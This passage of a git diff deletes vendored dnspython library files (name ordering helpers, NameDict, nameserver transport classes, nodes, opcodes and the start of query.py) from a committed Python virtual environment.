bytes. - new_labels = list(reversed(new_labels)) - new_labels.extend(name.labels) - return Name(new_labels) - - -def _pad_to_max_label(label, suffix_labels): - length = len(label) - # We have to subtract one here to account for the length byte of label. - remaining = 255 - _wire_length(suffix_labels) - length - 1 - if remaining <= 0: - # Shouldn't happen! - return label - needed = min(63 - length, remaining) - return label + _MAXIMAL_OCTET * needed - - -def _absolute_predecessor(name: Name, origin: Name, prefix_ok: bool) -> Name: - # This is the RFC 4471 predecessor algorithm using the "absolute method" of section - # 3.1.1. - # - # Our caller must ensure that the name and origin are absolute, and that name is a - # subdomain of origin. - if name == origin: - return _pad_to_max_name(name) - least_significant_label = name[0] - if least_significant_label == _MINIMAL_OCTET: - return name.parent() - least_octet = least_significant_label[-1] - suffix_labels = name.labels[1:] - if least_octet == _MINIMAL_OCTET_VALUE: - new_labels = [least_significant_label[:-1]] - else: - octets = bytearray(least_significant_label) - octet = octets[-1] - if octet == _LEFT_SQUARE_BRACKET_VALUE: - octet = _AT_SIGN_VALUE - else: - octet -= 1 - octets[-1] = octet - least_significant_label = bytes(octets) - new_labels = [_pad_to_max_label(least_significant_label, suffix_labels)] - new_labels.extend(suffix_labels) - name = Name(new_labels) - if prefix_ok: - return _pad_to_max_name(name) - else: - return name - - -def _absolute_successor(name: Name, origin: Name, prefix_ok: bool) -> Name: - # This is the RFC 4471 successor algorithm using the "absolute method" of section - # 3.1.2. - # - # Our caller must ensure that the name and origin are absolute, and that name is a - # subdomain of origin. - if prefix_ok: - # Try prefixing \000 as new label - try: - return _SUCCESSOR_PREFIX.concatenate(name) - except NameTooLong: - pass - while name != origin: - # Try extending the least significant label. - least_significant_label = name[0] - if len(least_significant_label) < 63: - # We may be able to extend the least label with a minimal additional byte. - # This is only "may" because we could have a maximal length name even though - # the least significant label isn't maximally long. - new_labels = [least_significant_label + _MINIMAL_OCTET] - new_labels.extend(name.labels[1:]) - try: - return dns.name.Name(new_labels) - except dns.name.NameTooLong: - pass - # We can't extend the label either, so we'll try to increment the least - # signficant non-maximal byte in it. - octets = bytearray(least_significant_label) - # We do this reversed iteration with an explicit indexing variable because - # if we find something to increment, we're going to want to truncate everything - # to the right of it. - for i in range(len(octets) - 1, -1, -1): - octet = octets[i] - if octet == _MAXIMAL_OCTET_VALUE: - # We can't increment this, so keep looking. - continue - # Finally, something we can increment. We have to apply a special rule for - # incrementing "@", sending it to "[", because RFC 4034 6.1 says that when - # comparing names, uppercase letters compare as if they were their - # lower-case equivalents. If we increment "@" to "A", then it would compare - # as "a", which is after "[", "\", "]", "^", "_", and "`", so we would have - # skipped the most minimal successor, namely "[". - if octet == _AT_SIGN_VALUE: - octet = _LEFT_SQUARE_BRACKET_VALUE - else: - octet += 1 - octets[i] = octet - # We can now truncate all of the maximal values we skipped (if any) - new_labels = [bytes(octets[: i + 1])] - new_labels.extend(name.labels[1:]) - # We haven't changed the length of the name, so the Name constructor will - # always work. - return Name(new_labels) - # We couldn't increment, so chop off the least significant label and try - # again. - name = name.parent() - - # We couldn't increment at all, so return the origin, as wrapping around is the - # DNSSEC way. - return origin - - -def _handle_relativity_and_call( - function: Callable[[Name, Name, bool], Name], - name: Name, - origin: Name, - prefix_ok: bool, -) -> Name: - # Make "name" absolute if needed, ensure that the origin is absolute, - # call function(), and then relativize the result if needed. - if not origin.is_absolute(): - raise NeedAbsoluteNameOrOrigin - relative = not name.is_absolute() - if relative: - name = name.derelativize(origin) - elif not name.is_subdomain(origin): - raise NeedSubdomainOfOrigin - result_name = function(name, origin, prefix_ok) - if relative: - result_name = result_name.relativize(origin) - return result_name diff --git a/venv/Lib/site-packages/dns/namedict.py b/venv/Lib/site-packages/dns/namedict.py deleted file mode 100644 index ca8b19789b86a3482110b48d532999bb4cf277b7..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/namedict.py +++ /dev/null @@ -1,109 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2003-2017 Nominum, Inc. -# Copyright (C) 2016 Coresec Systems AB -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND CORESEC SYSTEMS AB DISCLAIMS ALL -# WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED -# WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL CORESEC -# SYSTEMS AB BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR -# CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS -# OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, -# NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION -# WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -"""DNS name dictionary""" - -# pylint seems to be confused about this one! -from collections.abc import MutableMapping # pylint: disable=no-name-in-module - -import dns.name - - -class NameDict(MutableMapping): - """A dictionary whose keys are dns.name.Name objects. - - In addition to being like a regular Python dictionary, this - dictionary can also get the deepest match for a given key. - """ - - __slots__ = ["max_depth", "max_depth_items", "__store"] - - def __init__(self, *args, **kwargs): - super().__init__() - self.__store = dict() - #: the maximum depth of the keys that have ever been added - self.max_depth = 0 - #: the number of items of maximum depth - self.max_depth_items = 0 - self.update(dict(*args, **kwargs)) - - def __update_max_depth(self, key): - if len(key) == self.max_depth: - self.max_depth_items = self.max_depth_items + 1 - elif len(key) > self.max_depth: - self.max_depth = len(key) - self.max_depth_items = 1 - - def __getitem__(self, key): - return self.__store[key] - - def __setitem__(self, key, value): - if not isinstance(key, dns.name.Name): - raise ValueError("NameDict key must be a name") - self.__store[key] = value - self.__update_max_depth(key) - - def __delitem__(self, key): - self.__store.pop(key) - if len(key) == self.max_depth: - self.max_depth_items = self.max_depth_items - 1 - if self.max_depth_items == 0: - self.max_depth = 0 - for k in self.__store: - self.__update_max_depth(k) - - def __iter__(self): - return iter(self.__store) - - def __len__(self): - return len(self.__store) - - def has_key(self, key): - return key in self.__store - - def get_deepest_match(self, name): - """Find the deepest match to *name* in the dictionary. - - The deepest match is the longest name in the dictionary which is - a superdomain of *name*. Note that *superdomain* includes matching - *name* itself. - - *name*, a ``dns.name.Name``, the name to find. - - Returns a ``(key, value)`` where *key* is the deepest - ``dns.name.Name``, and *value* is the value associated with *key*. - """ - - depth = len(name) - if depth > self.max_depth: - depth = self.max_depth - for i in range(-depth, 0): - n = dns.name.Name(name[i:]) - if n in self: - return (n, self[n]) - v = self[dns.name.empty] - return (dns.name.empty, v) diff --git a/venv/Lib/site-packages/dns/nameserver.py b/venv/Lib/site-packages/dns/nameserver.py deleted file mode 100644 index c9307d3e2c69c0cf98ce1a10e067daa89dd7f0fb..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/nameserver.py +++ /dev/null @@ -1,361 +0,0 @@ -from urllib.parse import urlparse - -import dns.asyncbackend -import dns.asyncquery -import dns.message -import dns.query - - -class Nameserver: - def __init__(self): - pass - - def __str__(self): - raise NotImplementedError - - def kind(self) -> str: - raise NotImplementedError - - def is_always_max_size(self) -> bool: - raise NotImplementedError - - def answer_nameserver(self) -> str: - raise NotImplementedError - - def answer_port(self) -> int: - raise NotImplementedError - - def query( - self, - request: dns.message.QueryMessage, - timeout: float, - source: str | None, - source_port: int, - max_size: bool, - one_rr_per_rrset: bool = False, - ignore_trailing: bool = False, - ) -> dns.message.Message: - raise NotImplementedError - - async def async_query( - self, - request: dns.message.QueryMessage, - timeout: float, - source: str | None, - source_port: int, - max_size: bool, - backend: dns.asyncbackend.Backend, - one_rr_per_rrset: bool = False, - ignore_trailing: bool = False, - ) -> dns.message.Message: - raise NotImplementedError - - -class AddressAndPortNameserver(Nameserver): - def __init__(self, address: str, port: int): - super().__init__() - self.address = address - self.port = port - - def kind(self) -> str: - raise NotImplementedError - - def is_always_max_size(self) -> bool: - return False - - def __str__(self): - ns_kind = self.kind() - return f"{ns_kind}:{self.address}@{self.port}" - - def answer_nameserver(self) -> str: - return self.address - - def answer_port(self) -> int: - return self.port - - -class Do53Nameserver(AddressAndPortNameserver): - def __init__(self, address: str, port: int = 53): - super().__init__(address, port) - - def kind(self): - return "Do53" - - def query( - self, - request: dns.message.QueryMessage, - timeout: float, - source: str | None, - source_port: int, - max_size: bool, - one_rr_per_rrset: bool = False, - ignore_trailing: bool = False, - ) -> dns.message.Message: - if max_size: - response = dns.query.tcp( - request, - self.address, - timeout=timeout, - port=self.port, - source=source, - source_port=source_port, - one_rr_per_rrset=one_rr_per_rrset, - ignore_trailing=ignore_trailing, - ) - else: - response = dns.query.udp( - request, - self.address, - timeout=timeout, - port=self.port, - source=source, - source_port=source_port, - raise_on_truncation=True, - one_rr_per_rrset=one_rr_per_rrset, - ignore_trailing=ignore_trailing, - ignore_errors=True, - ignore_unexpected=True, - ) - return response - - async def async_query( - self, - request: dns.message.QueryMessage, - timeout: float, - source: str | None, - source_port: int, - max_size: bool, - backend: dns.asyncbackend.Backend, - one_rr_per_rrset: bool = False, - ignore_trailing: bool = False, - ) -> dns.message.Message: - if max_size: - response = await dns.asyncquery.tcp( - request, - self.address, - timeout=timeout, - port=self.port, - source=source, - source_port=source_port, - backend=backend, - one_rr_per_rrset=one_rr_per_rrset, - ignore_trailing=ignore_trailing, - ) - else: - response = await dns.asyncquery.udp( - request, - self.address, - timeout=timeout, - port=self.port, - source=source, - source_port=source_port, - raise_on_truncation=True, - backend=backend, - one_rr_per_rrset=one_rr_per_rrset, - ignore_trailing=ignore_trailing, - ignore_errors=True, - ignore_unexpected=True, - ) - return response - - -class DoHNameserver(Nameserver): - def __init__( - self, - url: str, - bootstrap_address: str | None = None, - verify: bool | str = True, - want_get: bool = False, - http_version: dns.query.HTTPVersion = dns.query.HTTPVersion.DEFAULT, - ): - super().__init__() - self.url = url - self.bootstrap_address = bootstrap_address - self.verify = verify - self.want_get = want_get - self.http_version = http_version - - def kind(self): - return "DoH" - - def is_always_max_size(self) -> bool: - return True - - def __str__(self): - return self.url - - def answer_nameserver(self) -> str: - return self.url - - def answer_port(self) -> int: - port = urlparse(self.url).port - if port is None: - port = 443 - return port - - def query( - self, - request: dns.message.QueryMessage, - timeout: float, - source: str | None, - source_port: int, - max_size: bool = False, - one_rr_per_rrset: bool = False, - ignore_trailing: bool = False, - ) -> dns.message.Message: - return dns.query.https( - request, - self.url, - timeout=timeout, - source=source, - source_port=source_port, - bootstrap_address=self.bootstrap_address, - one_rr_per_rrset=one_rr_per_rrset, - ignore_trailing=ignore_trailing, - verify=self.verify, - post=(not self.want_get), - http_version=self.http_version, - ) - - async def async_query( - self, - request: dns.message.QueryMessage, - timeout: float, - source: str | None, - source_port: int, - max_size: bool, - backend: dns.asyncbackend.Backend, - one_rr_per_rrset: bool = False, - ignore_trailing: bool = False, - ) -> dns.message.Message: - return await dns.asyncquery.https( - request, - self.url, - timeout=timeout, - source=source, - source_port=source_port, - bootstrap_address=self.bootstrap_address, - one_rr_per_rrset=one_rr_per_rrset, - ignore_trailing=ignore_trailing, - verify=self.verify, - post=(not self.want_get), - http_version=self.http_version, - ) - - -class DoTNameserver(AddressAndPortNameserver): - def __init__( - self, - address: str, - port: int = 853, - hostname: str | None = None, - verify: bool | str = True, - ): - super().__init__(address, port) - self.hostname = hostname - self.verify = verify - - def kind(self): - return "DoT" - - def query( - self, - request: dns.message.QueryMessage, - timeout: float, - source: str | None, - source_port: int, - max_size: bool = False, - one_rr_per_rrset: bool = False, - ignore_trailing: bool = False, - ) -> dns.message.Message: - return dns.query.tls( - request, - self.address, - port=self.port, - timeout=timeout, - one_rr_per_rrset=one_rr_per_rrset, - ignore_trailing=ignore_trailing, - server_hostname=self.hostname, - verify=self.verify, - ) - - async def async_query( - self, - request: dns.message.QueryMessage, - timeout: float, - source: str | None, - source_port: int, - max_size: bool, - backend: dns.asyncbackend.Backend, - one_rr_per_rrset: bool = False, - ignore_trailing: bool = False, - ) -> dns.message.Message: - return await dns.asyncquery.tls( - request, - self.address, - port=self.port, - timeout=timeout, - one_rr_per_rrset=one_rr_per_rrset, - ignore_trailing=ignore_trailing, - server_hostname=self.hostname, - verify=self.verify, - ) - - -class DoQNameserver(AddressAndPortNameserver): - def __init__( - self, - address: str, - port: int = 853, - verify: bool | str = True, - server_hostname: str | None = None, - ): - super().__init__(address, port) - self.verify = verify - self.server_hostname = server_hostname - - def kind(self): - return "DoQ" - - def query( - self, - request: dns.message.QueryMessage, - timeout: float, - source: str | None, - source_port: int, - max_size: bool = False, - one_rr_per_rrset: bool = False, - ignore_trailing: bool = False, - ) -> dns.message.Message: - return dns.query.quic( - request, - self.address, - port=self.port, - timeout=timeout, - one_rr_per_rrset=one_rr_per_rrset, - ignore_trailing=ignore_trailing, - verify=self.verify, - server_hostname=self.server_hostname, - ) - - async def async_query( - self, - request: dns.message.QueryMessage, - timeout: float, - source: str | None, - source_port: int, - max_size: bool, - backend: dns.asyncbackend.Backend, - one_rr_per_rrset: bool = False, - ignore_trailing: bool = False, - ) -> dns.message.Message: - return await dns.asyncquery.quic( - request, - self.address, - port=self.port, - timeout=timeout, - one_rr_per_rrset=one_rr_per_rrset, - ignore_trailing=ignore_trailing, - verify=self.verify, - server_hostname=self.server_hostname, - ) diff --git a/venv/Lib/site-packages/dns/node.py b/venv/Lib/site-packages/dns/node.py deleted file mode 100644 index b2cbf1b2e79270af2f71b1f5dcaf980abe03414b..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/node.py +++ /dev/null @@ -1,358 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2001-2017 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -"""DNS nodes. A node is a set of rdatasets.""" - -import enum -import io -from typing import Any, Dict - -import dns.immutable -import dns.name -import dns.rdataclass -import dns.rdataset -import dns.rdatatype -import dns.rrset - -_cname_types = { - dns.rdatatype.CNAME, -} - -# "neutral" types can coexist with a CNAME and thus are not "other data" -_neutral_types = { - dns.rdatatype.NSEC, # RFC 4035 section 2.5 - dns.rdatatype.NSEC3, # This is not likely to happen, but not impossible! - dns.rdatatype.KEY, # RFC 4035 section 2.5, RFC 3007 -} - - -def _matches_type_or_its_signature(rdtypes, rdtype, covers): - return rdtype in rdtypes or (rdtype == dns.rdatatype.RRSIG and covers in rdtypes) - - -@enum.unique -class NodeKind(enum.Enum): - """Rdatasets in nodes""" - - REGULAR = 0 # a.k.a "other data" - NEUTRAL = 1 - CNAME = 2 - - @classmethod - def classify( - cls, rdtype: dns.rdatatype.RdataType, covers: dns.rdatatype.RdataType - ) -> "NodeKind": - if _matches_type_or_its_signature(_cname_types, rdtype, covers): - return NodeKind.CNAME - elif _matches_type_or_its_signature(_neutral_types, rdtype, covers): - return NodeKind.NEUTRAL - else: - return NodeKind.REGULAR - - @classmethod - def classify_rdataset(cls, rdataset: dns.rdataset.Rdataset) -> "NodeKind": - return cls.classify(rdataset.rdtype, rdataset.covers) - - -class Node: - """A Node is a set of rdatasets. - - A node is either a CNAME node or an "other data" node. A CNAME - node contains only CNAME, KEY, NSEC, and NSEC3 rdatasets along with their - covering RRSIG rdatasets. An "other data" node contains any - rdataset other than a CNAME or RRSIG(CNAME) rdataset. When - changes are made to a node, the CNAME or "other data" state is - always consistent with the update, i.e. the most recent change - wins. For example, if you have a node which contains a CNAME - rdataset, and then add an MX rdataset to it, then the CNAME - rdataset will be deleted. Likewise if you have a node containing - an MX rdataset and add a CNAME rdataset, the MX rdataset will be - deleted. - """ - - __slots__ = ["rdatasets"] - - def __init__(self): - # the set of rdatasets, represented as a list. - self.rdatasets = [] - - def to_text(self, name: dns.name.Name, **kw: Dict[str, Any]) -> str: - """Convert a node to text format. - - Each rdataset at the node is printed. Any keyword arguments - to this method are passed on to the rdataset's to_text() method. - - *name*, a ``dns.name.Name``, the owner name of the - rdatasets. - - Returns a ``str``. - - """ - - s = io.StringIO() - for rds in self.rdatasets: - if len(rds) > 0: - s.write(rds.to_text(name, **kw)) # type: ignore[arg-type] - s.write("\n") - return s.getvalue()[:-1] - - def __repr__(self): - return "" - - def __eq__(self, other): - # - # This is inefficient. Good thing we don't need to do it much. - # - for rd in self.rdatasets: - if rd not in other.rdatasets: - return False - for rd in other.rdatasets: - if rd not in self.rdatasets: - return False - return True - - def __ne__(self, other): - return not self.__eq__(other) - - def __len__(self): - return len(self.rdatasets) - - def __iter__(self): - return iter(self.rdatasets) - - def _append_rdataset(self, rdataset): - """Append rdataset to the node with special handling for CNAME and - other data conditions. - - Specifically, if the rdataset being appended has ``NodeKind.CNAME``, - then all rdatasets other than KEY, NSEC, NSEC3, and their covering - RRSIGs are deleted. If the rdataset being appended has - ``NodeKind.REGULAR`` then CNAME and RRSIG(CNAME) are deleted. - """ - # Make having just one rdataset at the node fast. - if len(self.rdatasets) > 0: - kind = NodeKind.classify_rdataset(rdataset) - if kind == NodeKind.CNAME: - self.rdatasets = [ - rds - for rds in self.rdatasets - if NodeKind.classify_rdataset(rds) != NodeKind.REGULAR - ] - elif kind == NodeKind.REGULAR: - self.rdatasets = [ - rds - for rds in self.rdatasets - if NodeKind.classify_rdataset(rds) != NodeKind.CNAME - ] - # Otherwise the rdataset is NodeKind.NEUTRAL and we do not need to - # edit self.rdatasets. - self.rdatasets.append(rdataset) - - def find_rdataset( - self, - rdclass: dns.rdataclass.RdataClass, - rdtype: dns.rdatatype.RdataType, - covers: dns.rdatatype.RdataType = dns.rdatatype.NONE, - create: bool = False, - ) -> dns.rdataset.Rdataset: - """Find an rdataset matching the specified properties in the - current node. - - *rdclass*, a ``dns.rdataclass.RdataClass``, the class of the rdataset. - - *rdtype*, a ``dns.rdatatype.RdataType``, the type of the rdataset. - - *covers*, a ``dns.rdatatype.RdataType``, the covered type. - Usually this value is ``dns.rdatatype.NONE``, but if the - rdtype is ``dns.rdatatype.SIG`` or ``dns.rdatatype.RRSIG``, - then the covers value will be the rdata type the SIG/RRSIG - covers. The library treats the SIG and RRSIG types as if they - were a family of types, e.g. RRSIG(A), RRSIG(NS), RRSIG(SOA). - This makes RRSIGs much easier to work with than if RRSIGs - covering different rdata types were aggregated into a single - RRSIG rdataset. - - *create*, a ``bool``. If True, create the rdataset if it is not found. - - Raises ``KeyError`` if an rdataset of the desired type and class does - not exist and *create* is not ``True``. - - Returns a ``dns.rdataset.Rdataset``. - """ - - for rds in self.rdatasets: - if rds.match(rdclass, rdtype, covers): - return rds - if not create: - raise KeyError - rds = dns.rdataset.Rdataset(rdclass, rdtype, covers) - self._append_rdataset(rds) - return rds - - def get_rdataset( - self, - rdclass: dns.rdataclass.RdataClass, - rdtype: dns.rdatatype.RdataType, - covers: dns.rdatatype.RdataType = dns.rdatatype.NONE, - create: bool = False, - ) -> dns.rdataset.Rdataset | None: - """Get an rdataset matching the specified properties in the - current node. - - None is returned if an rdataset of the specified type and - class does not exist and *create* is not ``True``. - - *rdclass*, an ``int``, the class of the rdataset. - - *rdtype*, an ``int``, the type of the rdataset. - - *covers*, an ``int``, the covered type. Usually this value is - dns.rdatatype.NONE, but if the rdtype is dns.rdatatype.SIG or - dns.rdatatype.RRSIG, then the covers value will be the rdata - type the SIG/RRSIG covers. The library treats the SIG and RRSIG - types as if they were a family of - types, e.g. RRSIG(A), RRSIG(NS), RRSIG(SOA). This makes RRSIGs much - easier to work with than if RRSIGs covering different rdata - types were aggregated into a single RRSIG rdataset. - - *create*, a ``bool``. If True, create the rdataset if it is not found. - - Returns a ``dns.rdataset.Rdataset`` or ``None``. - """ - - try: - rds = self.find_rdataset(rdclass, rdtype, covers, create) - except KeyError: - rds = None - return rds - - def delete_rdataset( - self, - rdclass: dns.rdataclass.RdataClass, - rdtype: dns.rdatatype.RdataType, - covers: dns.rdatatype.RdataType = dns.rdatatype.NONE, - ) -> None: - """Delete the rdataset matching the specified properties in the - current node. - - If a matching rdataset does not exist, it is not an error. - - *rdclass*, an ``int``, the class of the rdataset. - - *rdtype*, an ``int``, the type of the rdataset. - - *covers*, an ``int``, the covered type. - """ - - rds = self.get_rdataset(rdclass, rdtype, covers) - if rds is not None: - self.rdatasets.remove(rds) - - def replace_rdataset(self, replacement: dns.rdataset.Rdataset) -> None: - """Replace an rdataset. - - It is not an error if there is no rdataset matching *replacement*. - - Ownership of the *replacement* object is transferred to the node; - in other words, this method does not store a copy of *replacement* - at the node, it stores *replacement* itself. - - *replacement*, a ``dns.rdataset.Rdataset``. - - Raises ``ValueError`` if *replacement* is not a - ``dns.rdataset.Rdataset``. - """ - - if not isinstance(replacement, dns.rdataset.Rdataset): - raise ValueError("replacement is not an rdataset") - if isinstance(replacement, dns.rrset.RRset): - # RRsets are not good replacements as the match() method - # is not compatible. - replacement = replacement.to_rdataset() - self.delete_rdataset( - replacement.rdclass, replacement.rdtype, replacement.covers - ) - self._append_rdataset(replacement) - - def classify(self) -> NodeKind: - """Classify a node. - - A node which contains a CNAME or RRSIG(CNAME) is a - ``NodeKind.CNAME`` node. - - A node which contains only "neutral" types, i.e. types allowed to - co-exist with a CNAME, is a ``NodeKind.NEUTRAL`` node. The neutral - types are NSEC, NSEC3, KEY, and their associated RRSIGS. An empty node - is also considered neutral. - - A node which contains some rdataset which is not a CNAME, RRSIG(CNAME), - or a neutral type is a a ``NodeKind.REGULAR`` node. Regular nodes are - also commonly referred to as "other data". - """ - for rdataset in self.rdatasets: - kind = NodeKind.classify(rdataset.rdtype, rdataset.covers) - if kind != NodeKind.NEUTRAL: - return kind - return NodeKind.NEUTRAL - - def is_immutable(self) -> bool: - return False - - -@dns.immutable.immutable -class ImmutableNode(Node): - def __init__(self, node): - super().__init__() - self.rdatasets = tuple( - [dns.rdataset.ImmutableRdataset(rds) for rds in node.rdatasets] - ) - - def find_rdataset( - self, - rdclass: dns.rdataclass.RdataClass, - rdtype: dns.rdatatype.RdataType, - covers: dns.rdatatype.RdataType = dns.rdatatype.NONE, - create: bool = False, - ) -> dns.rdataset.Rdataset: - if create: - raise TypeError("immutable") - return super().find_rdataset(rdclass, rdtype, covers, False) - - def get_rdataset( - self, - rdclass: dns.rdataclass.RdataClass, - rdtype: dns.rdatatype.RdataType, - covers: dns.rdatatype.RdataType = dns.rdatatype.NONE, - create: bool = False, - ) -> dns.rdataset.Rdataset | None: - if create: - raise TypeError("immutable") - return super().get_rdataset(rdclass, rdtype, covers, False) - - def delete_rdataset( - self, - rdclass: dns.rdataclass.RdataClass, - rdtype: dns.rdatatype.RdataType, - covers: dns.rdatatype.RdataType = dns.rdatatype.NONE, - ) -> None: - raise TypeError("immutable") - - def replace_rdataset(self, replacement: dns.rdataset.Rdataset) -> None: - raise TypeError("immutable") - - def is_immutable(self) -> bool: - return True diff --git a/venv/Lib/site-packages/dns/opcode.py b/venv/Lib/site-packages/dns/opcode.py deleted file mode 100644 index 3fa610d040e83b29204130b7ae155b2f30ac0dcc..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/opcode.py +++ /dev/null @@ -1,119 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2001-2017 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -"""DNS Opcodes.""" - -from typing import Type - -import dns.enum -import dns.exception - - -class Opcode(dns.enum.IntEnum): - #: Query - QUERY = 0 - #: Inverse Query (historical) - IQUERY = 1 - #: Server Status (unspecified and unimplemented anywhere) - STATUS = 2 - #: Notify - NOTIFY = 4 - #: Dynamic Update - UPDATE = 5 - - @classmethod - def _maximum(cls): - return 15 - - @classmethod - def _unknown_exception_class(cls) -> Type[Exception]: - return UnknownOpcode - - -class UnknownOpcode(dns.exception.DNSException): - """An DNS opcode is unknown.""" - - -def from_text(text: str) -> Opcode: - """Convert text into an opcode. - - *text*, a ``str``, the textual opcode - - Raises ``dns.opcode.UnknownOpcode`` if the opcode is unknown. - - Returns an ``int``. - """ - - return Opcode.from_text(text) - - -def from_flags(flags: int) -> Opcode: - """Extract an opcode from DNS message flags. - - *flags*, an ``int``, the DNS flags. - - Returns an ``int``. - """ - - return Opcode((flags & 0x7800) >> 11) - - -def to_flags(value: Opcode) -> int: - """Convert an opcode to a value suitable for ORing into DNS message - flags. - - *value*, an ``int``, the DNS opcode value. - - Returns an ``int``. - """ - - return (value << 11) & 0x7800 - - -def to_text(value: Opcode) -> str: - """Convert an opcode to text. - - *value*, an ``int`` the opcode value, - - Raises ``dns.opcode.UnknownOpcode`` if the opcode is unknown. - - Returns a ``str``. - """ - - return Opcode.to_text(value) - - -def is_update(flags: int) -> bool: - """Is the opcode in flags UPDATE? - - *flags*, an ``int``, the DNS message flags. - - Returns a ``bool``. - """ - - return from_flags(flags) == Opcode.UPDATE - - -### BEGIN generated Opcode constants - -QUERY = Opcode.QUERY -IQUERY = Opcode.IQUERY -STATUS = Opcode.STATUS -NOTIFY = Opcode.NOTIFY -UPDATE = Opcode.UPDATE - -### END generated Opcode constants diff --git a/venv/Lib/site-packages/dns/py.typed b/venv/Lib/site-packages/dns/py.typed deleted file mode 100644 index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000 diff --git a/venv/Lib/site-packages/dns/query.py b/venv/Lib/site-packages/dns/query.py deleted file mode 100644 index 17b1862dbf37f2831cc060e2bcc4ab1aeedf9023..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/query.py +++ /dev/null @@ -1,1786 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2003-2017 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -"""Talk to a DNS server.""" - -import base64 -import contextlib -import enum -import errno -import os -import random -import selectors -import socket -import struct -import time -import urllib.parse -from typing import Any, Callable, Dict, Optional, Tuple, cast - -import dns._features -import dns._tls_util -import dns.exception -import dns.inet -import dns.message -import dns.name -import dns.quic -import dns.rdata -import dns.rdataclass -import dns.rdatatype -import dns.transaction -import dns.tsig -import dns.xfr - -try: - import ssl -except ImportError: - import dns._no_ssl as ssl # type: ignore - - -def _remaining(expiration): - if expiration is None: - return None - timeout = expiration - time.time() - if timeout <= 0.0: - raise dns.exception.Timeout - return timeout - - -def _expiration_for_this_attempt(timeout, expiration): - if expiration is None: - return None - return min(time.time() + timeout, expiration) - - -_have_httpx = dns._features.have("doh") -if _have_httpx: - import httpcore._backends.sync - import httpx - - _CoreNetworkBackend = httpcore.NetworkBackend - _CoreSyncStream = httpcore._backends.sync.SyncStream - - class _NetworkBackend(_CoreNetworkBackend): - def __init__(self, resolver, local_port, bootstrap_address, family): - super().__init__() - self._local_port = local_port - self._resolver 